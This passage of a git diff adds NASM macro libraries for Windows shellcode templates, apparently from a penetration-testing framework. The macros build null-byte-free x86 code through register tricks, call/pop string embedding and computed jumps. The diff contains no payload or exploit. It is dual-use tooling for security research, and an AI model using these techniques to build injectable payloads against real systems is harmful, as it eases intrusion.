+ %define Contained_L dl + %elifidni %1,esi + %define Contained_D esi + %define Contained_W si + %undef Contained_H + %undef Contained_L + %elifidni %1,edi + %define Contained_D edi + %define Contained_W di + %undef Contained_H + %undef Contained_L + %elifidni %1,esp + %define Contained_D esp + %define Contained_W sp + %undef Contained_H + %undef Contained_L + %elifidni %1,ebp + %define Contained_D ebp + %define Contained_W bp + %undef Contained_H + %undef Contained_L + %elifidni %1,ax + %undef Contained_D + %define Contained_W ax + %define Contained_H ah + %define Contained_L al + %elifidni %1,bx + %undef Contained_D + %define Contained_W bx + %define Contained_H bh + %define Contained_L bl + %elifidni %1,cx + %undef Contained_D + %define Contained_W cx + %define Contained_H ch + %define Contained_L cl + %elifidni %1,dx + %undef Contained_D + %define Contained_W dx + %define Contained_H dh + %define Contained_L dl + %elifidni %1,si + %undef Contained_D + %define Contained_W si + %undef Contained_H + %undef Contained_L + %elifidni %1,di + %undef Contained_D + %define Contained_W di + %undef Contained_H + %undef Contained_L + %elifidni %1,sp + %undef Contained_D + %define Contained_W sp + %undef Contained_H + %undef Contained_L + %elifidni %1,bp + %undef Contained_D + %define Contained_W bp + %undef Contained_H + %undef Contained_L + %elifidni %1,ah + %undef Contained_D + %undef Contained_W + %define Contained_H ah + %undef Contained_L + %elifidni %1,al + %undef Contained_D + %undef Contained_W + %undef Contained_H + %define Contained_L al + %elifidni %1,bh + %undef Contained_D + %undef Contained_W + %define Contained_H bh + %undef Contained_L + %elifidni %1,bl + %undef Contained_D + %undef Contained_W + %undef Contained_H + %define Contained_L bl + %elifidni %1,ch + %undef Contained_D + %undef Contained_W + %define Contained_H ch + %undef Contained_L + %elifidni %1,cl + %undef Contained_D + %undef Contained_W + %undef Contained_H + %define Contained_L cl + %elifidni %1,dh + %undef Contained_D + %undef Contained_W + %define Contained_H dh + %undef Contained_L + %elifidni %1,dl + %undef Contained_D + %undef Contained_W + %undef Contained_H + %define Contained_L dl + %else + %undef Contained_D + %undef Contained_W + %undef Contained_H + %undef Contained_L + %endif + %ifidni %2,dword + %ifdef Contained_D + %define Contained_Ret Contained_D + %else + %undef Contained_Ret + %endif + %elifidni %2,word + %ifdef Contained_W + %define Contained_Ret Contained_W + %else + %undef Contained_Ret + %endif + %elifidni %2,byte + %ifdef Contained_L + %define Contained_Ret Contained_L + %elifdef Contained_H + %define Contained_Ret Contained_H + %else + %undef Contained_Ret + %endif + %else + %undef Contained_Ret + %endif +%endmacro + +;============================ Temporary registers ============================ +;TemporaryRequest r,dword|word|byte +; exige le r de taille %2 +%macro TemporaryRequest 2 + %ifidni %2,BYTE.INC_TEMPORARY_REGISTER + Contained BYTE.INC_TEMPORARY_REGISTER,%1 + %undef Temporary_PushPop_Define + %define Temporary_esp 0 + %else + push %2 + Contained %2,%1 + %define Temporary_PushPop_Define %2 + %define Temporary_esp 4 + %endif +%endmacro + +%macro TemporaryBegin 1-3 + %if %0==1 + %ifdef BYTE.INC_TEMPORARY_REGISTER + TemporaryRequest %1,BYTE.INC_TEMPORARY_REGISTER + %else + TemporaryRequest %1,eax + %endif + %else + %ifidni %2,+ ;r demandé + TemporaryRequest %1,%3 + %else ;r|push refusé + %ifdef BYTE.INC_TEMPORARY_REGISTER + Operand %3 + %ifidni %3,push + Contained BYTE.INC_TEMPORARY_REGISTER,%1 + %undef Temporary_PushPop_Define + %define Temporary_esp 0 + %elifidni Operand_Container,BYTE.INC_TEMPORARY_REGISTER + %ifidni Operand_Container,eax + TemporaryRequest %1,edx + %else + TemporaryRequest %1,eax + %endif + %else + TemporaryRequest %1,BYTE.INC_TEMPORARY_REGISTER + %endif + %else + %ifidni %3,push + Contained edx,%1 + %undef Temporary_PushPop_Define + %define Temporary_esp 0 + Warning BYTE,no BYTE.INC_TEMPORARY_REGISTER => edx + %else + Operand %3 + %ifidni Operand_Container,eax + TemporaryRequest %1,edx + %else + TemporaryRequest %1,eax + %endif + %endif + %endif + %endif + %endif + %define Temporary_Ret Contained_Ret +%endmacro + +%macro TemporaryEnd 0 + %ifdef Temporary_PushPop_Define + pop Temporary_PushPop_Define + %undef Temporary_PushPop_Define + %endif +%endmacro + +;=================================== Db ====================================== +%macro FillByte 0 + %ifndef BYTE.INC_NO_00 + %define FillByte_Ret BYTE.INC_FILL_BYTE + %elif BYTE.INC_FILL_BYTE!=0 + %define FillByte_Ret BYTE.INC_FILL_BYTE + %else + %define FillByte_Ret 090h ;nop + %endif +%endmacro + +%macro DbAlign 2-3 + %if ($-%1) % %2 !=0 + FillByte + %rep %2-(($-%1) % %2) + %if %0==3 + db %3 + %else + db FillByte_Ret + %endif + %endrep + %endif +%endmacro + +%macro ResbAlign 2 + %if ($-%1) % %2 !=0 + %rep %2-(($-%1) % %2) + resb 1 + %endrep + %endif +%endmacro + +;=================================== Mov ===================================== +%macro MovD_r_NumId_Recursive 2 + %if DWordContainNo00(%2) + mov %1,%2 + %elif %2==0 + xor %1,%1 + %elif DWordContainNo00(~%2) + mov %1,~%2 + not %1 + %elif DWordContainNo00(-%2) + mov %1,-%2 + neg %1 + %else + Contained %1,dword + %if DWordByteIs00(%2,3)&DWordByteIs00(%2,2)&DWordByteIs00(%2,1)&DWordByteIsNot00(%2,0) ; 0001 + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_L,Byte(%2,0) + %endif + %elif DWordByteIs00(%2,3)&DWordByteIs00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIs00(%2,0) ; 0010 + %ifndef Contained_H + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_H,Byte(%2,1) + %endif + %elif DWordByteIs00(%2,3)&DWordByteIs00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIsNot00(%2,0) ; 00?? + %ifndef Contained_W + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_W,Byte(%2,1)<<8|Byte(%2,0) + %endif + %elif DWordByteIs00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIs00(%2,1)&DWordByteIs00(%2,0) ; 0?00 + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_L,Byte(%2,2) + shl %1,2*8 + %endif + %elif DWordByteIs00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIs00(%2,1)&DWordByteIsNot00(%2,0) ; 0?0? + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_L,Byte(%2,2) + shl %1,2*8 + mov Contained_L,Byte(%2,0) + %endif + %elif DWordByteIs00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIs00(%2,0) ; 0??0 + %ifndef Contained_W + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_W,Byte(%2,2)<<8|Byte(%2,1) + shl %1,8 + %endif + %elif DWordByteIs00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIsNot00(%2,0) ; 0??? + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %elifndef Contained_W + %define MovD_r_NumId_Recursive_Define 1 + %else + xor %1,%1 + mov Contained_L,Byte(%2,2) + shl %1,2*8 + mov Contained_W,Byte(%2,1)<<8|Byte(%2,0) + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIs00(%2,2)&DWordByteIs00(%2,1)&DWordByteIs00(%2,0) ; ?000 + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + mov Contained_L,Byte(%2,3) + shl %1,3*8 + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIs00(%2,2)&DWordByteIs00(%2,1)&DWordByteIsNot00(%2,0) ; ?00? + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + mov Contained_L,Byte(%2,3) + shl %1,3*8 + mov Contained_L,Byte(%2,0) + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIs00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIs00(%2,0) ; ?0?0 + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %elifndef Contained_H + %define MovD_r_NumId_Recursive_Define 1 + %else + mov Contained_L,Byte(%2,3) + shl %1,3*8 + mov Contained_H,Byte(%2,1) + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIs00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIsNot00(%2,0) ; ?0?? + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %elifndef Contained_W + %define MovD_r_NumId_Recursive_Define 1 + %else + mov Contained_L,Byte(%2,3) + shl %1,3*8 + mov Contained_W,Byte(%2,1)<<8|Byte(%2,0) + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIs00(%2,1)&DWordByteIs00(%2,0) ; ??00 + %ifndef Contained_W + %define MovD_r_NumId_Recursive_Define 1 + %else + mov Contained_W,Byte(%2,3)<<8|Byte(%2,2) + shl %1,2*8 + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIs00(%2,1)&DWordByteIsNot00(%2,0) ; ??0? + %ifndef Contained_H + %define MovD_r_NumId_Recursive_Define 1 + %else + FillByte + mov %1,Byte(%2,3)<<3*8|Byte(%2,2)<<2*8|FillByte_Ret<<1*8|Byte(%2,0) + xor Contained_H,Contained_H + %endif + %elif DWordByteIsNot00(%2,3)&DWordByteIsNot00(%2,2)&DWordByteIsNot00(%2,1)&DWordByteIs00(%2,0) ; ???0 + %ifndef Contained_L + %define MovD_r_NumId_Recursive_Define 1 + %else + FillByte + mov %1,Byte(%2,3)<<3*8|Byte(%2,2)<<2*8|Byte(%2,1)<<1*8|FillByte_Ret + xor Contained_L,Contained_L + %endif + %endif + %endif +%endmacro + +%macro MovD_r_NumId 2 + %define MovD_r_NumId_Recursive_Define 0 + %define MovD_OriginalRegister_Define %1 + %define MovD_TemporaryRegister_Define %1 + %rep 2 + MovD_r_NumId_Recursive MovD_TemporaryRegister_Define,%2 + %if MovD_r_NumId_Recursive_Define==0 ;si pas d'erreur 1er passage + %exitrep + %elif MovD_r_NumId_Recursive_Define==1 ;si erreur 1er passage + TemporaryBegin dword,-,MovD_OriginalRegister_Define + %define MovD_TemporaryRegister_Define Temporary_Ret + %define MovD_r_NumId_Recursive_Define 2 + %elif MovD_r_NumId_Recursive_Define==2 ;si fin 2ème passage + mov MovD_OriginalRegister_Define,MovD_TemporaryRegister_Define + TemporaryEnd + %exitrep + %endif + %endrep + %undef MovD_r_NumId_Recursive_Define + %undef MovD_OriginalRegister_Define + %undef MovD_TemporaryRegister_Define +%endmacro + +%macro MovW_r_NumId 2 + %if WordContainNo00(%2) + mov %1,%2 + %elif %2==0 + xor %1,%1 + %else + Contained %1,word + MovB_r_NumId Contained_H,Byte(%2,1) + MovB_r_NumId Contained_L,Byte(%2,0) + %endif +%endmacro + +%macro MovB_r_NumId 2 + %if ByteIsNot00(%2) + mov %1,%2 + %elif %2==0 + xor %1,%1 + %else + mov %1,~%2 + not %1 + %endif +%endmacro + +%macro Mov_X_NumId 2-3 + %ifndef BYTE.INC_NO_00 + mov %1,%2 + %else + %if %0==2 + Operand %1 + %else + Operand %1,%3 + %endif + %ifndef Operand_Unknown ;mov r,d|w|b + %ifidni Operand_Size,dword + MovD_r_NumId %1,%2 + %elifidni Operand_Size,word + MovW_r_NumId %1,%2 + %elifidni Operand_Size,byte + MovB_r_NumId %1,%2 + %endif + %else ;mov [r],d|w|b + %ifidni Operand_Size,dword + %if DWordContainNo00(%2) + mov %1,%2 + %elif DWordContainNo00(~%2) + mov %1,~%2 + not %1 + %elif DWordContainNo00(-%2) + mov %1,-%2 + neg %1 + %else + TemporaryBegin dword + MovD_r_NumId Temporary_Ret,%2 + mov %1,Temporary_Ret + TemporaryEnd + %endif + %elifidni Operand_Size,word + %if WordContainNo00(%2) + mov %1,%2 + %elif WordContainNo00(~%2) + mov %1,~%2 + not %1 + %elif WordContainNo00(-%2) + mov %1,-%2 + neg %1 + %else + TemporaryBegin word + MovW_r_NumId Temporary_Ret,%2 + mov %1,Temporary_Ret + TemporaryEnd + %endif + %elifidni Operand_Size,byte + %if ByteIsNot00(%2) + mov %1,%2 + %else + mov %1,~%2 + not %1 + %endif + %else + %if %0==2 + Error BYTE,Mov %1,%2 => dword|word|byte ? + %else + Error BYTE,Mov %1,%2,%3 => dword|word|byte ? + %endif + %endif + %endif + %endif +%endmacro + +%macro Mov_X_Str 2+ + Operand %1 + %ifndef Operand_Unknown + %ifndef BYTE.INC_NO_00 + call %%Mov_End + db %2,0 + %%Mov_End: pop %1 + %else + FillByte + jmp short %%Mov_Call + %%Mov_Jmp: jmp short %%Mov_Calculate + %%Mov_Call: call %%Mov_Jmp + %%Mov_String: db %2 + %%Mov_StringEnd: times (1+BYTE.INC_FILL_OFFSET) db FillByte_Ret + %%Mov_Calculate: + pop %1 + sub byte [byte %1+(%%Mov_StringEnd-%%Mov_String)],FillByte_Ret + %endif + %else + Error BYTE,Mov %1,%2 => eax|ebx|ecx|edx|esi|edi|esp|ebp + %endif +%endmacro + +;Mov r,d|w|b|"string" [,dword|word|byte] +%macro Mov 2+ + %ifstr %2 + Mov_X_Str %1,%2 + %elifnum %2 + Mov_X_NumId %1,%2 + %elifid %2 + Mov_X_NumId %1,%2 + %else + mov %1,%2 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Mov %1,%2 => 00 ? + %endif + %endif +%endmacro + +%macro MovD 2 + Mov %1,%2,dword +%endmacro + +%macro MovW 2 + Mov %1,%2,word +%endmacro + +%macro MovB 2 + Mov %1,%2,byte +%endmacro + +;================================== Jump ===================================== +%macro Jmp_Num 2 + Warning BYTE,Jmp %1 => Jmp [%1] + %ifndef BYTE.INC_NO_00 + jmp [%1] + %elif DWordContainNo00(%1) + jmp [%1] + %else + %ifdef BYTE.INC_TEMPORARY_REGISTER + Mov BYTE.INC_TEMPORARY_REGISTER,%1 + jmp [BYTE.INC_TEMPORARY_REGISTER] + %else + TemporaryBegin dword,+,edx ;eax => 00 + Mov Temporary_Ret,%1 + mov Temporary_Ret,[Temporary_Ret] + mov [esp-4],Temporary_Ret ;dword temporaire + TemporaryEnd + jmp [esp-Temporary_esp-4] + %endif + %endif +%endmacro + +%macro Jmp_Id 2 + %ifndef BYTE.INC_LONG_JUMP + jmp short %1 + %elifndef BYTE.INC_NO_00 + jmp %1 + %elif %2==-1 + jmp %1 + %else ;jump long vers l'avant + jmp short %%Jmp_Call + %%Jmp_Calculate: + TemporaryBegin dword + mov Temporary_Ret,~(%1-%%Jmp_End) + not Temporary_Ret + add dword [esp+Temporary_esp],Temporary_Ret + TemporaryEnd + ret + FillByte + times BYTE.INC_FILL_OFFSET db FillByte_Ret + %%Jmp_Call: call %%Jmp_Calculate + %%Jmp_End: + %endif +%endmacro + +%macro Jmp 1-2 BYTE.INC_JUMP_DIRECTION + %ifndef Alias_%1 + %ifnum %1 + Jmp_Num %1,%2 + %elifid %1 + Jmp_Id %1,%2 + %else + jmp %1 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Jmp %1 => 00 ? + %endif + %endif + %else + jmp Alias_%1 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Jmp %1 => 00 ? + %endif + %endif +%endmacro + +%macro JX 2-3 BYTE.INC_JUMP_DIRECTION ;support for jX near (386+) + %ifndef BYTE.INC_LONG_JUMP + j%+1 %2 + %else + j%-1 %%JX_End + Jmp %2,%3 + FillByte + times BYTE.INC_FILL_OFFSET db FillByte_Ret + %%JX_End: + %endif +%endmacro + +%macro JnX 2-3 BYTE.INC_JUMP_DIRECTION ;support for jnX near (386+) + %ifndef BYTE.INC_LONG_JUMP + j%-1 %2 + %else + j%+1 %%JnX_End + Jmp %2,%3 + FillByte + times BYTE.INC_FILL_OFFSET db FillByte_Ret + %%JnX_End: + %endif +%endmacro + +;================================== Call ===================================== +%macro Call_Num 2 + Warning BYTE,Call %1 => Call [%1] + %ifndef BYTE.INC_NO_00 + call [%1] + %elif DWordContainNo00(%1) + call [%1] + %else + %ifdef BYTE.INC_TEMPORARY_REGISTER + Mov BYTE.INC_TEMPORARY_REGISTER,%1 + call [BYTE.INC_TEMPORARY_REGISTER] + %else + TemporaryBegin dword,+,edx ;eax => 00 + Mov Temporary_Ret,%1 + mov Temporary_Ret,[Temporary_Ret] + mov [esp-4],Temporary_Ret ;dword temporaire + TemporaryEnd + call [esp-Temporary_esp-4] + %endif + %endif +%endmacro + +%macro Call_Id 2 + %ifndef BYTE.INC_NO_00 + call %1 + %elif %2==-1 + call %1 + %else + jmp short %%Call_Call1 + %%Call_Calculate: + push dword [esp] + TemporaryBegin dword + mov Temporary_Ret,~(%1-%%Call_End) + not Temporary_Ret + add dword [esp+Temporary_esp],Temporary_Ret + TemporaryEnd + ret + FillByte + times BYTE.INC_FILL_OFFSET db FillByte_Ret + %%Call_Call1: call %%Call_Calculate + %%Call_End: + %endif +%endmacro + +%macro Call 1-2 BYTE.INC_JUMP_DIRECTION + %ifndef Alias_%1 + %ifnum %1 + Call_Num %1,%2 + %elifid %1 + Call_Id %1,%2 + %else + call %1 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Call %1 => 00 ? + %endif + %endif + %else + call Alias_%1 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Call %1 => 00 ? + %endif + %endif +%endmacro + +;================================== Push ===================================== +%macro Push_Num 1 + %ifndef BYTE.INC_NO_00 + push dword %1 + %elif DWordContainNo00(%1) + push dword %1 + %else + TemporaryBegin dword,-,push + Mov Temporary_Ret,%1 + push Temporary_Ret + TemporaryEnd + %endif +%endmacro + +%macro Push_Id 1 + TemporaryBegin dword,-,push + mov Temporary_Ret,%1 + push Temporary_Ret + TemporaryEnd + %ifdef BYTE.INC_NO_00 + Warning BYTE,Push %1 => 00 ? + %endif +%endmacro + +%macro Push_Str 1+ + %ifndef BYTE.INC_NO_00 + call %%Push_End + db %1,0 + %%Push_End: + %else + FillByte + jmp short %%Push_Call + %%Push_Jmp: jmp short %%Push_Calculate + %%Push_Call: call %%Push_Jmp + %%Push_String: db %1 + %%Push_StringEnd: times (1+BYTE.INC_FILL_OFFSET) db FillByte_Ret + %%Push_Calculate: + TemporaryBegin dword,-,push + mov Temporary_Ret,[esp] + sub byte [byte Temporary_Ret+(%%Push_StringEnd-%%Push_String)],FillByte_Ret + TemporaryEnd + %endif +%endmacro + +%macro Push 1+ + Operand %1 + %ifdef Operand_Container ;r + push Operand_Container + %elifnum %1 + Push_Num %1 + %elifid %1 + Push_Id %1 + %elifstr %1 + Push_Str %1 + %else + push %1 + %ifdef BYTE.INC_NO_00 + Warning BYTE,Push %1 => 00 ? + %endif + %endif +%endmacro + +;=============================== Instructions ================================ +%macro Instruction_r_NumId_size 4 + TemporaryBegin %4,-,%2 + Mov Temporary_Ret,%3 + %1 %2,Temporary_Ret + TemporaryEnd +%endmacro + +%macro Instruction_r_NumId 3 + Operand %2 + %ifdef Operand_Size + %ifidni Operand_Size,dword + %if DWordContainNo00(%3) + %1 %2,%3 + %else + Instruction_r_NumId_size %1,%2,%3,Operand_Size + %endif + %elifidni Operand_Size,word + %if WordContainNo00(%3) + %1 %2,%3 + %else + Instruction_r_NumId_size %1,%2,%3,Operand_Size + %endif + %elifidni Operand_Size,byte + %if ByteIsNot00(%3) + %1 %2,%3 + %else + Instruction_r_NumId_size %1,%2,%3,Operand_Size + %endif + %endif + %else + %1 %2,%3 + %ifdef BYTE.INC_NO_00 + Warning BYTE,%1 %2,%3 => 00 ? + %endif + %endif +%endmacro + +;Instruction_r_X instruction,r,* +%macro Instruction_r_X 3 + %ifndef BYTE.INC_NO_00 + %1 %2,%3 + %elifnum %3 + Instruction_r_NumId %1,%2,%3 + %elifid %3 + Instruction_r_NumId %1,%2,%3 + %else + %1 %2,%3 + %endif +%endmacro + +;================================= Autres ==================================== +%macro Add 2 + Operand %1 + %ifndef Operand_Unknown + %if %2<=6 + %rep %2 + inc %1 + %endrep + %else + Instruction_r_X add,%1,%2 + %endif + %else + Instruction_r_X add,%1,%2 + %endif +%endmacro + +%macro And 2 + Instruction_r_X and,%1,%2 +%endmacro + +%macro Cmp 2 + Instruction_r_X cmp,%1,%2 +%endmacro + +%macro Or 2 + Instruction_r_X or,%1,%2 +%endmacro + +%macro Sub 2 + Operand %1 + %ifndef Operand_Unknown + %if %2<=6 + %rep %2 + dec %1 + %endrep + %else + Instruction_r_X sub,%1,%2 + %endif + %else + Instruction_r_X sub,%1,%2 + %endif +%endmacro + +%macro Xor 2 + Instruction_r_X xor,%1,%2 +%endmacro + +%endif diff --git a/external/source/shellcode/windows/templates/inc/function.inc b/external/source/shellcode/windows/templates/inc/function.inc new file mode 100644 index 0000000000..48d03fc519 --- /dev/null +++ b/external/source/shellcode/windows/templates/inc/function.inc @@ -0,0 +1,309 @@ +; MACROS FOR FUNCTION DECLARATIONS v0.9a +; ====================================== + + +;gérer les appels de fonctions externes C (linux) +;return() ? + + +;FUNCTION.INC_CONVENTION = C|Std = convention d'appel des fonctions par défaut + + +;FunctionDefine alias,C|Std|Pascal [,adresse] +; -> FunctionDefine_alias = C|Std|Pascal +; @alias = adresse de la fonction +; alias$ (si aucun paramètre) +; alias([p1,...]) (si plusieurs paramètres) + +;Function alias, [,p1,...] +; <- FunctionDefine +; -> @alias = adresse de la fonction +; Function_EBP ebp +; Function_EIP byte ebp+4 +;[FunctionResd nom,nombre d] +;[FunctionResw nom,nombre w] +;[FunctionResb nom,nombre b] +;... +;FunctionBegin +; <- Sub +; ... +;FunctionEnd +; <- FUNCTION.INC_CONVENTION,BYTE.INC_NO_00 + +;FunctionCall alias, [,p1,...] +; <- Push,Call,BYTE.INC_TEMPORARY_REGISTER(push & pop C) + +;================================= General =================================== +%ifndef _FUNCTION.INC +%define _FUNCTION.INC + +%include "byte.inc" + +%macro FUNCTION.INC 0 + BYTE.INC + %define FUNCTION.INC_CONVENTION C +%endmacro + +%macro FUNCTION.INC~ 0 + BYTE.INC~ + %define FUNCTION.INC_CONVENTION C +%endmacro + +FUNCTION.INC + +%macro FunctionDefine 2-3 + %define FunctionDefine_%1 %2 + %if %0==3 + %ifnidni %3,@%1 + %define @%1 %3 + %endif + %endif + %define %1$ FunctionCall %1 + %define %1(p1) FunctionCall %1,p1 + %define %1(p1,p2) FunctionCall %1,p1,p2 + %define %1(p1,p2,p3) FunctionCall %1,p1,p2,p3 + %define %1(p1,p2,p3,p4) FunctionCall %1,p1,p2,p3,p4 + %define %1(p1,p2,p3,p4,p5) FunctionCall %1,p1,p2,p3,p4,p5 + %define %1(p1,p2,p3,p4,p5,p6) FunctionCall %1,p1,p2,p3,p4,p5,p6 + %define %1(p1,p2,p3,p4,p5,p6,p7) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19 + %define %1(p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19,p20) FunctionCall %1,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15,p16,p17,p18,p19,p20 +%endmacro + +;================================= Function ================================== +%macro Function 1-* + FUNCTION.INC~ + %ifndef Function_%1 + %ifctx Function + Error FUNCTION,Function =X=> Function + %else + %push Function + %define Function_%1 + %define Function_Name_Define @%1 + %ifndef BYTE.INC_NO_00 + %define Function_EBP byte ebp + %endif + %define Function_EIP byte ebp+4 + FunctionDefine %1,FUNCTION.INC_CONVENTION + %assign Function_Params_Assign 4 + %if %0>1 + %rotate 1 + %rep %0-1 + %assign Function_Params_Assign Function_Params_Assign+4 + %1_Equ equ Function_Params_Assign + %define %1 byte ebp+%1_Equ + %rotate 1 + %endrep + %endif + %assign Function_Locals_Assign 0 + %endif + %undef Function_Exist_Define + %else + %define Function_Exist_Define + %endif +%endmacro + +%macro FunctionResd 2 + %ifndef Function_Exist_Define + %ifctx Function + %assign Function_Locals_Assign Function_Locals_Assign+%2*4 + %1_Equ equ Function_Locals_Assign + %if (Function_Locals_Assign < 256) + %define %1 byte ebp-%1_Equ + %else + %define %1 dword ebp-%1_Equ + %ifdef BYTE.INC_NO_00 + Warning FUNCTION,FunctionResd %1,%2 => 00 ? + %endif + %endif + %else + Error FUNCTION,FunctionResd => Function + %endif + %endif +%endmacro + +%macro FunctionResw 2 + %ifndef Function_Exist_Define + %ifctx Function + %assign Function_Locals_Assign Function_Locals_Assign+%2*2 + %1_Equ equ Function_Locals_Assign + %if (Function_Locals_Assign < 256) + %define %1 byte ebp-%1_Equ + %else + %define %1 dword ebp-%1_Equ + %ifdef BYTE.INC_NO_00 + Warning FUNCTION,FunctionResw %1,%2 => 00 ? + %endif + %endif + %else + Error FUNCTION,FunctionResw => Function + %endif + %endif +%endmacro + +%macro FunctionResb 2 + %ifndef Function_Exist_Define + %ifctx Function + %assign Function_Locals_Assign Function_Locals_Assign+%2 + %1_Equ equ Function_Locals_Assign + %if (Function_Locals_Assign < 256) + %define %1 byte ebp-%1_Equ + %else + %define %1 dword ebp-%1_Equ + %ifdef BYTE.INC_NO_00 + Warning FUNCTION,FunctionResb %1,%2 => 00 ? + %endif + %endif + %else + Error FUNCTION,FunctionResb => Function + %endif + %endif +%endmacro + +%macro FunctionBegin 0 + %ifndef Function_Exist_Define + %ifctx Function + Function_Name_Define: + %define BYTE.INC_TEMPORARY_REGISTER eax + %if (Function_Params_Assign>4)||(Function_Locals_Assign>0) + push ebp + mov ebp,esp + %endif + %if Function_Locals_Assign>0 + Sub esp,Function_Locals_Assign + %endif +; enter Function_Locals_Assign,0 + %undef BYTE.INC_TEMPORARY_REGISTER + %else + Error FUNCTION,FunctionBegin => Function + %endif + %endif +%endmacro + +%macro FunctionEnd 0 + %ifndef Function_Exist_Define + %ifctx Function + %if (Function_Params_Assign>4)||(Function_Locals_Assign>0) + leave + %endif + %ifnidni FUNCTION.INC_CONVENTION,C + %if Function_Params_Assign==4 + ret + %elifndef BYTE.INC_NO_00 + ret Function_Params_Assign-4 + %else + Error FUNCTION,NO_00 =X=> CONVENTION Std + %endif + %else + ret + %endif + %undef Function_Name_Define + %pop + %else + Error FUNCTION,FunctionEnd => Function + %endif + %endif + %undef Function_Exist_Define + FUNCTION.INC~ +%endmacro + +;=================================== Call ==================================== +%macro FunctionCallStd 1-* + %define BYTE.INC_TEMPORARY_REGISTER eax + %rep %0-1 + %rotate -1 + Push %1 + %endrep + Call FunctionCall_Address_Define + %undef BYTE.INC_TEMPORARY_REGISTER +%endmacro + +%macro FunctionCallPascal 1-* + %define BYTE.INC_TEMPORARY_REGISTER eax + %rep %0-1 + %rotate 1 + Push %1 + %endrep + Call FunctionCall_Address_Define + %undef BYTE.INC_TEMPORARY_REGISTER +%endmacro + +%macro FunctionCallC 1-* + %ifndef BYTE.INC_NO_00 + %define BYTE.INC_TEMPORARY_REGISTER eax + %else + %ifdef BYTE.INC_TEMPORARY_REGISTER + %ifidni BYTE.INC_TEMPORARY_REGISTER,eax + Error FUNCTION,NO_00 => TEMPORARY_REGISTER <> eax + %endif + %else + Error FUNCTION,NO_00 => TEMPORARY_REGISTER + %endif + %endif + %rep %0-1 + %rotate -1 + Push %1 + %endrep + Call FunctionCall_Address_Define + %if %0>1 + %ifndef BYTE.INC_NO_00 + %assign FunctionCallC_Assign (%0-1)*4 + add esp,FunctionCallC_Assign + %undef BYTE.INC_TEMPORARY_REGISTER + %else + %ifdef 